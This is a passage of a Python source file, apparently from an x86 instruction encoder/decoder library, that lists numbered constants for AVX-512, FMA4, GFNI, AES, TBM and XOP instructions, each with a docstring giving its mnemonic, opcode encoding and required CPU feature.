EVEX_VPSHLDQ_XMM_K1Z_XMM_XMMM128B64_IMM8: int = 4021
"""
``VPSHLDQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst, imm8``
``EVEX.128.66.0F3A.W1 71 /r ib``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHLDQ_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 4022
"""
``VPSHLDQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 71 /r ib``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHLDQ_ZMM_K1Z_ZMM_ZMMM512B64_IMM8: int = 4023
"""
``VPSHLDQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst, imm8``
``EVEX.512.66.0F3A.W1 71 /r ib``
``AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHRDW_XMM_K1Z_XMM_XMMM128_IMM8: int = 4024
"""
``VPSHRDW xmm1 {k1}{z}, xmm2, xmm3/m128, imm8``
``EVEX.128.66.0F3A.W1 72 /r ib``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHRDW_YMM_K1Z_YMM_YMMM256_IMM8: int = 4025
"""
``VPSHRDW ymm1 {k1}{z}, ymm2, ymm3/m256, imm8``
``EVEX.256.66.0F3A.W1 72 /r ib``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHRDW_ZMM_K1Z_ZMM_ZMMM512_IMM8: int = 4026
"""
``VPSHRDW zmm1 {k1}{z}, zmm2, zmm3/m512, imm8``
``EVEX.512.66.0F3A.W1 72 /r ib``
``AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHRDD_XMM_K1Z_XMM_XMMM128B32_IMM8: int = 4027
"""
``VPSHRDD xmm1 {k1}{z}, xmm2, xmm3/m128/m32bcst, imm8``
``EVEX.128.66.0F3A.W0 73 /r ib``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHRDD_YMM_K1Z_YMM_YMMM256B32_IMM8: int = 4028
"""
``VPSHRDD ymm1 {k1}{z}, ymm2, ymm3/m256/m32bcst, imm8``
``EVEX.256.66.0F3A.W0 73 /r ib``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHRDD_ZMM_K1Z_ZMM_ZMMM512B32_IMM8: int = 4029
"""
``VPSHRDD zmm1 {k1}{z}, zmm2, zmm3/m512/m32bcst, imm8``
``EVEX.512.66.0F3A.W0 73 /r ib``
``AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHRDQ_XMM_K1Z_XMM_XMMM128B64_IMM8: int = 4030
"""
``VPSHRDQ xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst, imm8``
``EVEX.128.66.0F3A.W1 73 /r ib``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHRDQ_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 4031
"""
``VPSHRDQ ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 73 /r ib``
``AVX512VL and AVX512_VBMI2``
``16/32/64-bit``
"""
EVEX_VPSHRDQ_ZMM_K1Z_ZMM_ZMMM512B64_IMM8: int = 4032
"""
``VPSHRDQ zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst, imm8``
``EVEX.512.66.0F3A.W1 73 /r ib``
``AVX512_VBMI2``
``16/32/64-bit``
"""
VEX_VFNMADDPS_XMM_XMM_XMMM128_XMM: int = 4033
"""
``VFNMADDPS xmm1, xmm2, xmm3/m128, xmm4``
``VEX.128.66.0F3A.W0 78 /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMADDPS_YMM_YMM_YMMM256_YMM: int = 4034
"""
``VFNMADDPS ymm1, ymm2, ymm3/m256, ymm4``
``VEX.256.66.0F3A.W0 78 /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMADDPS_XMM_XMM_XMM_XMMM128: int = 4035
"""
``VFNMADDPS xmm1, xmm2, xmm3, xmm4/m128``
``VEX.128.66.0F3A.W1 78 /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMADDPS_YMM_YMM_YMM_YMMM256: int = 4036
"""
``VFNMADDPS ymm1, ymm2, ymm3, ymm4/m256``
``VEX.256.66.0F3A.W1 78 /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMADDPD_XMM_XMM_XMMM128_XMM: int = 4037
"""
``VFNMADDPD xmm1, xmm2, xmm3/m128, xmm4``
``VEX.128.66.0F3A.W0 79 /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMADDPD_YMM_YMM_YMMM256_YMM: int = 4038
"""
``VFNMADDPD ymm1, ymm2, ymm3/m256, ymm4``
``VEX.256.66.0F3A.W0 79 /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMADDPD_XMM_XMM_XMM_XMMM128: int = 4039
"""
``VFNMADDPD xmm1, xmm2, xmm3, xmm4/m128``
``VEX.128.66.0F3A.W1 79 /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMADDPD_YMM_YMM_YMM_YMMM256: int = 4040
"""
``VFNMADDPD ymm1, ymm2, ymm3, ymm4/m256``
``VEX.256.66.0F3A.W1 79 /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMADDSS_XMM_XMM_XMMM32_XMM: int = 4041
"""
``VFNMADDSS xmm1, xmm2, xmm3/m32, xmm4``
``VEX.LIG.66.0F3A.W0 7A /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMADDSS_XMM_XMM_XMM_XMMM32: int = 4042
"""
``VFNMADDSS xmm1, xmm2, xmm3, xmm4/m32``
``VEX.LIG.66.0F3A.W1 7A /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMADDSD_XMM_XMM_XMMM64_XMM: int = 4043
"""
``VFNMADDSD xmm1, xmm2, xmm3/m64, xmm4``
``VEX.LIG.66.0F3A.W0 7B /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMADDSD_XMM_XMM_XMM_XMMM64: int = 4044
"""
``VFNMADDSD xmm1, xmm2, xmm3, xmm4/m64``
``VEX.LIG.66.0F3A.W1 7B /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMSUBPS_XMM_XMM_XMMM128_XMM: int = 4045
"""
``VFNMSUBPS xmm1, xmm2, xmm3/m128, xmm4``
``VEX.128.66.0F3A.W0 7C /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMSUBPS_YMM_YMM_YMMM256_YMM: int = 4046
"""
``VFNMSUBPS ymm1, ymm2, ymm3/m256, ymm4``
``VEX.256.66.0F3A.W0 7C /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMSUBPS_XMM_XMM_XMM_XMMM128: int = 4047
"""
``VFNMSUBPS xmm1, xmm2, xmm3, xmm4/m128``
``VEX.128.66.0F3A.W1 7C /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMSUBPS_YMM_YMM_YMM_YMMM256: int = 4048
"""
``VFNMSUBPS ymm1, ymm2, ymm3, ymm4/m256``
``VEX.256.66.0F3A.W1 7C /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMSUBPD_XMM_XMM_XMMM128_XMM: int = 4049
"""
``VFNMSUBPD xmm1, xmm2, xmm3/m128, xmm4``
``VEX.128.66.0F3A.W0 7D /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMSUBPD_YMM_YMM_YMMM256_YMM: int = 4050
"""
``VFNMSUBPD ymm1, ymm2, ymm3/m256, ymm4``
``VEX.256.66.0F3A.W0 7D /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMSUBPD_XMM_XMM_XMM_XMMM128: int = 4051
"""
``VFNMSUBPD xmm1, xmm2, xmm3, xmm4/m128``
``VEX.128.66.0F3A.W1 7D /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMSUBPD_YMM_YMM_YMM_YMMM256: int = 4052
"""
``VFNMSUBPD ymm1, ymm2, ymm3, ymm4/m256``
``VEX.256.66.0F3A.W1 7D /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMSUBSS_XMM_XMM_XMMM32_XMM: int = 4053
"""
``VFNMSUBSS xmm1, xmm2, xmm3/m32, xmm4``
``VEX.LIG.66.0F3A.W0 7E /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMSUBSS_XMM_XMM_XMM_XMMM32: int = 4054
"""
``VFNMSUBSS xmm1, xmm2, xmm3, xmm4/m32``
``VEX.LIG.66.0F3A.W1 7E /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMSUBSD_XMM_XMM_XMMM64_XMM: int = 4055
"""
``VFNMSUBSD xmm1, xmm2, xmm3/m64, xmm4``
``VEX.LIG.66.0F3A.W0 7F /r /is4``
``FMA4``
``16/32/64-bit``
"""
VEX_VFNMSUBSD_XMM_XMM_XMM_XMMM64: int = 4056
"""
``VFNMSUBSD xmm1, xmm2, xmm3, xmm4/m64``
``VEX.LIG.66.0F3A.W1 7F /r /is4``
``FMA4``
``16/32/64-bit``
"""
SHA1RNDS4_XMM_XMMM128_IMM8: int = 4057
"""
``SHA1RNDS4 xmm1, xmm2/m128, imm8``
``NP 0F 3A CC /r ib``
``SHA``
``16/32/64-bit``
"""
GF2P8AFFINEQB_XMM_XMMM128_IMM8: int = 4058
"""
``GF2P8AFFINEQB xmm1, xmm2/m128, imm8``
``66 0F 3A CE /r ib``
``GFNI``
``16/32/64-bit``
"""
VEX_VGF2P8AFFINEQB_XMM_XMM_XMMM128_IMM8: int = 4059
"""
``VGF2P8AFFINEQB xmm1, xmm2, xmm3/m128, imm8``
``VEX.128.66.0F3A.W1 CE /r ib``
``AVX and GFNI``
``16/32/64-bit``
"""
VEX_VGF2P8AFFINEQB_YMM_YMM_YMMM256_IMM8: int = 4060
"""
``VGF2P8AFFINEQB ymm1, ymm2, ymm3/m256, imm8``
``VEX.256.66.0F3A.W1 CE /r ib``
``AVX and GFNI``
``16/32/64-bit``
"""
EVEX_VGF2P8AFFINEQB_XMM_K1Z_XMM_XMMM128B64_IMM8: int = 4061
"""
``VGF2P8AFFINEQB xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst, imm8``
``EVEX.128.66.0F3A.W1 CE /r ib``
``AVX512VL and GFNI``
``16/32/64-bit``
"""
EVEX_VGF2P8AFFINEQB_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 4062
"""
``VGF2P8AFFINEQB ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 CE /r ib``
``AVX512VL and GFNI``
``16/32/64-bit``
"""
EVEX_VGF2P8AFFINEQB_ZMM_K1Z_ZMM_ZMMM512B64_IMM8: int = 4063
"""
``VGF2P8AFFINEQB zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst, imm8``
``EVEX.512.66.0F3A.W1 CE /r ib``
``AVX512F and GFNI``
``16/32/64-bit``
"""
GF2P8AFFINEINVQB_XMM_XMMM128_IMM8: int = 4064
"""
``GF2P8AFFINEINVQB xmm1, xmm2/m128, imm8``
``66 0F 3A CF /r ib``
``GFNI``
``16/32/64-bit``
"""
VEX_VGF2P8AFFINEINVQB_XMM_XMM_XMMM128_IMM8: int = 4065
"""
``VGF2P8AFFINEINVQB xmm1, xmm2, xmm3/m128, imm8``
``VEX.128.66.0F3A.W1 CF /r ib``
``AVX and GFNI``
``16/32/64-bit``
"""
VEX_VGF2P8AFFINEINVQB_YMM_YMM_YMMM256_IMM8: int = 4066
"""
``VGF2P8AFFINEINVQB ymm1, ymm2, ymm3/m256, imm8``
``VEX.256.66.0F3A.W1 CF /r ib``
``AVX and GFNI``
``16/32/64-bit``
"""
EVEX_VGF2P8AFFINEINVQB_XMM_K1Z_XMM_XMMM128B64_IMM8: int = 4067
"""
``VGF2P8AFFINEINVQB xmm1 {k1}{z}, xmm2, xmm3/m128/m64bcst, imm8``
``EVEX.128.66.0F3A.W1 CF /r ib``
``AVX512VL and GFNI``
``16/32/64-bit``
"""
EVEX_VGF2P8AFFINEINVQB_YMM_K1Z_YMM_YMMM256B64_IMM8: int = 4068
"""
``VGF2P8AFFINEINVQB ymm1 {k1}{z}, ymm2, ymm3/m256/m64bcst, imm8``
``EVEX.256.66.0F3A.W1 CF /r ib``
``AVX512VL and GFNI``
``16/32/64-bit``
"""
EVEX_VGF2P8AFFINEINVQB_ZMM_K1Z_ZMM_ZMMM512B64_IMM8: int = 4069
"""
``VGF2P8AFFINEINVQB zmm1 {k1}{z}, zmm2, zmm3/m512/m64bcst, imm8``
``EVEX.512.66.0F3A.W1 CF /r ib``
``AVX512F and GFNI``
``16/32/64-bit``
"""
AESKEYGENASSIST_XMM_XMMM128_IMM8: int = 4070
"""
``AESKEYGENASSIST xmm1, xmm2/m128, imm8``
``66 0F 3A DF /r ib``
``AES``
``16/32/64-bit``
"""
VEX_VAESKEYGENASSIST_XMM_XMMM128_IMM8: int = 4071
"""
``VAESKEYGENASSIST xmm1, xmm2/m128, imm8``
``VEX.128.66.0F3A.WIG DF /r ib``
``AES and AVX``
``16/32/64-bit``
"""
VEX_RORX_R32_RM32_IMM8: int = 4072
"""
``RORX r32, r/m32, imm8``
``VEX.LZ.F2.0F3A.W0 F0 /r ib``
``BMI2``
``16/32/64-bit``
"""
VEX_RORX_R64_RM64_IMM8: int = 4073
"""
``RORX r64, r/m64, imm8``
``VEX.LZ.F2.0F3A.W1 F0 /r ib``
``BMI2``
``64-bit``
"""
XOP_VPMACSSWW_XMM_XMM_XMMM128_XMM: int = 4074
"""
``VPMACSSWW xmm1, xmm2, xmm3/m128, xmm4``
``XOP.128.X8.W0 85 /r /is4``
``XOP``
``16/32/64-bit``
"""
XOP_VPMACSSWD_XMM_XMM_XMMM128_XMM: int = 4075
"""
``VPMACSSWD xmm1, xmm2, xmm3/m128, xmm4``
``XOP.128.X8.W0 86 /r /is4``
``XOP``
``16/32/64-bit``
"""
XOP_VPMACSSDQL_XMM_XMM_XMMM128_XMM: int = 4076
"""
``VPMACSSDQL xmm1, xmm2, xmm3/m128, xmm4``
``XOP.128.X8.W0 87 /r /is4``
``XOP``
``16/32/64-bit``
"""
XOP_VPMACSSDD_XMM_XMM_XMMM128_XMM: int = 4077
"""
``VPMACSSDD xmm1, xmm2, xmm3/m128, xmm4``
``XOP.128.X8.W0 8E /r /is4``
``XOP``
``16/32/64-bit``
"""
XOP_VPMACSSDQH_XMM_XMM_XMMM128_XMM: int = 4078
"""
``VPMACSSDQH xmm1, xmm2, xmm3/m128, xmm4``
``XOP.128.X8.W0 8F /r /is4``
``XOP``
``16/32/64-bit``
"""
XOP_VPMACSWW_XMM_XMM_XMMM128_XMM: int = 4079
"""
``VPMACSWW xmm1, xmm2, xmm3/m128, xmm4``
``XOP.128.X8.W0 95 /r /is4``
``XOP``
``16/32/64-bit``
"""
XOP_VPMACSWD_XMM_XMM_XMMM128_XMM: int = 4080
"""
``VPMACSWD xmm1, xmm2, xmm3/m128, xmm4``
``XOP.128.X8.W0 96 /r /is4``
``XOP``
``16/32/64-bit``
"""
XOP_VPMACSDQL_XMM_XMM_XMMM128_XMM: int = 4081
"""
``VPMACSDQL xmm1, xmm2, xmm3/m128, xmm4``
``XOP.128.X8.W0 97 /r /is4``
``XOP``
``16/32/64-bit``
"""
XOP_VPMACSDD_XMM_XMM_XMMM128_XMM: int = 4082
"""
``VPMACSDD xmm1, xmm2, xmm3/m128, xmm4``
``XOP.128.X8.W0 9E /r /is4``
``XOP``
``16/32/64-bit``
"""
XOP_VPMACSDQH_XMM_XMM_XMMM128_XMM: int = 4083
"""
``VPMACSDQH xmm1, xmm2, xmm3/m128, xmm4``
``XOP.128.X8.W0 9F /r /is4``
``XOP``
``16/32/64-bit``
"""
XOP_VPCMOV_XMM_XMM_XMMM128_XMM: int = 4084
"""
``VPCMOV xmm1, xmm2, xmm3/m128, xmm4``
``XOP.128.X8.W0 A2 /r /is4``
``XOP``
``16/32/64-bit``
"""
XOP_VPCMOV_YMM_YMM_YMMM256_YMM: int = 4085
"""
``VPCMOV ymm1, ymm2, ymm3/m256, ymm4``
``XOP.256.X8.W0 A2 /r /is4``
``XOP``
``16/32/64-bit``
"""
XOP_VPCMOV_XMM_XMM_XMM_XMMM128: int = 4086
"""
``VPCMOV xmm1, xmm2, xmm3, xmm4/m128``
``XOP.128.X8.W1 A2 /r /is4``
``XOP``
``16/32/64-bit``
"""
XOP_VPCMOV_YMM_YMM_YMM_YMMM256: int = 4087
"""
``VPCMOV ymm1, ymm2, ymm3, ymm4/m256``
``XOP.256.X8.W1 A2 /r /is4``
``XOP``
``16/32/64-bit``
"""
XOP_VPPERM_XMM_XMM_XMMM128_XMM: int = 4088
"""
``VPPERM xmm1, xmm2, xmm3/m128, xmm4``
``XOP.128.X8.W0 A3 /r /is4``
``XOP``
``16/32/64-bit``
"""
XOP_VPPERM_XMM_XMM_XMM_XMMM128: int = 4089
"""
``VPPERM xmm1, xmm2, xmm3, xmm4/m128``
``XOP.128.X8.W1 A3 /r /is4``
``XOP``
``16/32/64-bit``
"""
XOP_VPMADCSSWD_XMM_XMM_XMMM128_XMM: int = 4090
"""
``VPMADCSSWD xmm1, xmm2, xmm3/m128, xmm4``
``XOP.128.X8.W0 A6 /r /is4``
``XOP``
``16/32/64-bit``
"""
XOP_VPMADCSWD_XMM_XMM_XMMM128_XMM: int = 4091
"""
``VPMADCSWD xmm1, xmm2, xmm3/m128, xmm4``
``XOP.128.X8.W0 B6 /r /is4``
``XOP``
``16/32/64-bit``
"""
XOP_VPROTB_XMM_XMMM128_IMM8: int = 4092
"""
``VPROTB xmm1, xmm2/m128, imm8``
``XOP.128.X8.W0 C0 /r ib``
``XOP``
``16/32/64-bit``
"""
XOP_VPROTW_XMM_XMMM128_IMM8: int = 4093
"""
``VPROTW xmm1, xmm2/m128, imm8``
``XOP.128.X8.W0 C1 /r ib``
``XOP``
``16/32/64-bit``
"""
XOP_VPROTD_XMM_XMMM128_IMM8: int = 4094
"""
``VPROTD xmm1, xmm2/m128, imm8``
``XOP.128.X8.W0 C2 /r ib``
``XOP``
``16/32/64-bit``
"""
XOP_VPROTQ_XMM_XMMM128_IMM8: int = 4095
"""
``VPROTQ xmm1, xmm2/m128, imm8``
``XOP.128.X8.W0 C3 /r ib``
``XOP``
``16/32/64-bit``
"""
XOP_VPCOMB_XMM_XMM_XMMM128_IMM8: int = 4096
"""
``VPCOMB xmm1, xmm2, xmm3/m128, imm8``
``XOP.128.X8.W0 CC /r ib``
``XOP``
``16/32/64-bit``
"""
XOP_VPCOMW_XMM_XMM_XMMM128_IMM8: int = 4097
"""
``VPCOMW xmm1, xmm2, xmm3/m128, imm8``
``XOP.128.X8.W0 CD /r ib``
``XOP``
``16/32/64-bit``
"""
XOP_VPCOMD_XMM_XMM_XMMM128_IMM8: int = 4098
"""
``VPCOMD xmm1, xmm2, xmm3/m128, imm8``
``XOP.128.X8.W0 CE /r ib``
``XOP``
``16/32/64-bit``
"""
XOP_VPCOMQ_XMM_XMM_XMMM128_IMM8: int = 4099
"""
``VPCOMQ xmm1, xmm2, xmm3/m128, imm8``
``XOP.128.X8.W0 CF /r ib``
``XOP``
``16/32/64-bit``
"""
XOP_VPCOMUB_XMM_XMM_XMMM128_IMM8: int = 4100
"""
``VPCOMUB xmm1, xmm2, xmm3/m128, imm8``
``XOP.128.X8.W0 EC /r ib``
``XOP``
``16/32/64-bit``
"""
XOP_VPCOMUW_XMM_XMM_XMMM128_IMM8: int = 4101
"""
``VPCOMUW xmm1, xmm2, xmm3/m128, imm8``
``XOP.128.X8.W0 ED /r ib``
``XOP``
``16/32/64-bit``
"""
XOP_VPCOMUD_XMM_XMM_XMMM128_IMM8: int = 4102
"""
``VPCOMUD xmm1, xmm2, xmm3/m128, imm8``
``XOP.128.X8.W0 EE /r ib``
``XOP``
``16/32/64-bit``
"""
XOP_VPCOMUQ_XMM_XMM_XMMM128_IMM8: int = 4103
"""
``VPCOMUQ xmm1, xmm2, xmm3/m128, imm8``
``XOP.128.X8.W0 EF /r ib``
``XOP``
``16/32/64-bit``
"""
XOP_BLCFILL_R32_RM32: int = 4104
"""
``BLCFILL r32, r/m32``
``XOP.L0.X9.W0 01 /1``
``TBM``
``16/32/64-bit``
"""
XOP_BLCFILL_R64_RM64: int = 4105
"""
``BLCFILL r64, r/m64``
``XOP.L0.X9.W1 01 /1``
``TBM``
``64-bit``
"""
XOP_BLSFILL_R32_RM32: int = 4106
"""
``BLSFILL r32, r/m32``
``XOP.L0.X9.W0 01 /2``
``TBM``
``16/32/64-bit``
"""
XOP_BLSFILL_R64_RM64: int = 4107
"""
``BLSFILL r64, r/m64``
``XOP.L0.X9.W1 01 /2``
``TBM``
``64-bit``
"""
XOP_BLCS_R32_RM32: int = 4108
"""
``BLCS r32, r/m32``
``XOP.L0.X9.W0 01 /3``
``TBM``
``16/32/64-bit``
"""
XOP_BLCS_R64_RM64: int = 4109
"""
``BLCS r64, r/m64``
``XOP.L0.X9.W1 01 /3``
``TBM``
``64-bit``
"""
XOP_TZMSK_R32_RM32: int = 4110
"""
``TZMSK r32, r/m32``
``XOP.L0.X9.W0 01 /4``
``TBM``
``16/32/64-bit``
"""
XOP_TZMSK_R64_RM64: int = 4111
"""
``TZMSK r64, r/m64``
``XOP.L0.X9.W1 01 /4``
``TBM``
``64-bit``
"""
XOP_BLCIC_R32_RM32: int = 4112
"""
``BLCIC r32, r/m32``
``XOP.L0.X9.W0 01 /5``
``TBM``
``16/32/64-bit``
"""
XOP_BLCIC_R64_RM64: int = 4113
"""
``BLCIC r64, r/m64``
``XOP.L0.X9.W1 01 /5``
``TBM``
``64-bit``
"""
XOP_BLSIC_R32_RM32: int = 4114
"""
``BLSIC r32, r/m32``
``XOP.L0.X9.W0 01 /6``
``TBM``
``16/32/64-bit``
"""
XOP_BLSIC_R64_RM64: int = 4115
"""
``BLSIC r64, r/m64``
``XOP.L0.X9.W1 01 /6``
``TBM``
``64-bit``
"""
XOP_T1MSKC_R32_RM32: int = 4116
"""
``T1MSKC r32, r/m32``
``XOP.L0.X9.W0 01 /7``
``TBM``
``16/32/64-bit``
"""
XOP_T1MSKC_R64_RM64: int = 4117
"""
``T1MSKC r64, r/m64``
``XOP.L0.X9.W1 01 /7``
``TBM``
``64-bit``
"""
XOP_BLCMSK_R32_RM32: int = 4118
"""
``BLCMSK r32, r/m32``
``XOP.L0.X9.W0 02 /1``
``TBM``
``16/32/64-bit``
"""
XOP_BLCMSK_R64_RM64: int = 4119
"""
``BLCMSK r64, r/m64``
``XOP.L0.X9.W1 02 /1``
``TBM``
``64-bit``
"""
XOP_BLCI_R32_RM32: int = 4120
"""
``BLCI r32, r/m32``
``XOP.L0.X9.W0 02 /6``
``TBM``
``16/32/64-bit``
"""
XOP_BLCI_R64_RM64: int = 4121
"""
``BLCI r64, r/m64``
``XOP.L0.X9.W1 02 /6``
``TBM``
``64-bit``
"""
XOP_LLWPCB_R32: int = 4122
"""
``LLWPCB r32``
``XOP.L0.X9.W0 12 /0``
``LWP``
``16/32/64-bit``
"""
XOP_LLWPCB_R64: int = 4123
"""
``LLWPCB r64``
``XOP.L0.X9.W1 12 /0``
``LWP``
``64-bit``
"""
XOP_SLWPCB_R32: int = 4124
"""
``SLWPCB r32``
``XOP.L0.X9.W0 12 /1``
``LWP``
``16/32/64-bit``
"""
XOP_SLWPCB_R64: int = 4125
"""
``SLWPCB r64``
``XOP.L0.X9.W1 12 /1``
``LWP``
``64-bit``
"""
XOP_VFRCZPS_XMM_XMMM128: int = 4126
"""
``VFRCZPS xmm1, xmm2/m128``
``XOP.128.X9.W0 80 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VFRCZPS_YMM_YMMM256: int = 4127
"""
``VFRCZPS ymm1, ymm2/m256``
``XOP.256.X9.W0 80 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VFRCZPD_XMM_XMMM128: int = 4128
"""
``VFRCZPD xmm1, xmm2/m128``
``XOP.128.X9.W0 81 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VFRCZPD_YMM_YMMM256: int = 4129
"""
``VFRCZPD ymm1, ymm2/m256``
``XOP.256.X9.W0 81 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VFRCZSS_XMM_XMMM32: int = 4130
"""
``VFRCZSS xmm1, xmm2/m32``
``XOP.128.X9.W0 82 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VFRCZSD_XMM_XMMM64: int = 4131
"""
``VFRCZSD xmm1, xmm2/m64``
``XOP.128.X9.W0 83 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPROTB_XMM_XMMM128_XMM: int = 4132
"""
``VPROTB xmm1, xmm2/m128, xmm3``
``XOP.128.X9.W0 90 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPROTB_XMM_XMM_XMMM128: int = 4133
"""
``VPROTB xmm1, xmm2, xmm3/m128``
``XOP.128.X9.W1 90 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPROTW_XMM_XMMM128_XMM: int = 4134
"""
``VPROTW xmm1, xmm2/m128, xmm3``
``XOP.128.X9.W0 91 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPROTW_XMM_XMM_XMMM128: int = 4135
"""
``VPROTW xmm1, xmm2, xmm3/m128``
``XOP.128.X9.W1 91 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPROTD_XMM_XMMM128_XMM: int = 4136
"""
``VPROTD xmm1, xmm2/m128, xmm3``
``XOP.128.X9.W0 92 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPROTD_XMM_XMM_XMMM128: int = 4137
"""
``VPROTD xmm1, xmm2, xmm3/m128``
``XOP.128.X9.W1 92 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPROTQ_XMM_XMMM128_XMM: int = 4138
"""
``VPROTQ xmm1, xmm2/m128, xmm3``
``XOP.128.X9.W0 93 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPROTQ_XMM_XMM_XMMM128: int = 4139
"""
``VPROTQ xmm1, xmm2, xmm3/m128``
``XOP.128.X9.W1 93 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPSHLB_XMM_XMMM128_XMM: int = 4140
"""
``VPSHLB xmm1, xmm2/m128, xmm3``
``XOP.128.X9.W0 94 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPSHLB_XMM_XMM_XMMM128: int = 4141
"""
``VPSHLB xmm1, xmm2, xmm3/m128``
``XOP.128.X9.W1 94 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPSHLW_XMM_XMMM128_XMM: int = 4142
"""
``VPSHLW xmm1, xmm2/m128, xmm3``
``XOP.128.X9.W0 95 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPSHLW_XMM_XMM_XMMM128: int = 4143
"""
``VPSHLW xmm1, xmm2, xmm3/m128``
``XOP.128.X9.W1 95 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPSHLD_XMM_XMMM128_XMM: int = 4144
"""
``VPSHLD xmm1, xmm2/m128, xmm3``
``XOP.128.X9.W0 96 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPSHLD_XMM_XMM_XMMM128: int = 4145
"""
``VPSHLD xmm1, xmm2, xmm3/m128``
``XOP.128.X9.W1 96 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPSHLQ_XMM_XMMM128_XMM: int = 4146
"""
``VPSHLQ xmm1, xmm2/m128, xmm3``
``XOP.128.X9.W0 97 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPSHLQ_XMM_XMM_XMMM128: int = 4147
"""
``VPSHLQ xmm1, xmm2, xmm3/m128``
``XOP.128.X9.W1 97 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPSHAB_XMM_XMMM128_XMM: int = 4148
"""
``VPSHAB xmm1, xmm2/m128, xmm3``
``XOP.128.X9.W0 98 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPSHAB_XMM_XMM_XMMM128: int = 4149
"""
``VPSHAB xmm1, xmm2, xmm3/m128``
``XOP.128.X9.W1 98 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPSHAW_XMM_XMMM128_XMM: int = 4150
"""
``VPSHAW xmm1, xmm2/m128, xmm3``
``XOP.128.X9.W0 99 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPSHAW_XMM_XMM_XMMM128: int = 4151
"""
``VPSHAW xmm1, xmm2, xmm3/m128``
``XOP.128.X9.W1 99 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPSHAD_XMM_XMMM128_XMM: int = 4152
"""
``VPSHAD xmm1, xmm2/m128, xmm3``
``XOP.128.X9.W0 9A /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPSHAD_XMM_XMM_XMMM128: int = 4153
"""
``VPSHAD xmm1, xmm2, xmm3/m128``
``XOP.128.X9.W1 9A /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPSHAQ_XMM_XMMM128_XMM: int = 4154
"""
``VPSHAQ xmm1, xmm2/m128, xmm3``
``XOP.128.X9.W0 9B /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPSHAQ_XMM_XMM_XMMM128: int = 4155
"""
``VPSHAQ xmm1, xmm2, xmm3/m128``
``XOP.128.X9.W1 9B /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPHADDBW_XMM_XMMM128: int = 4156
"""
``VPHADDBW xmm1, xmm2/m128``
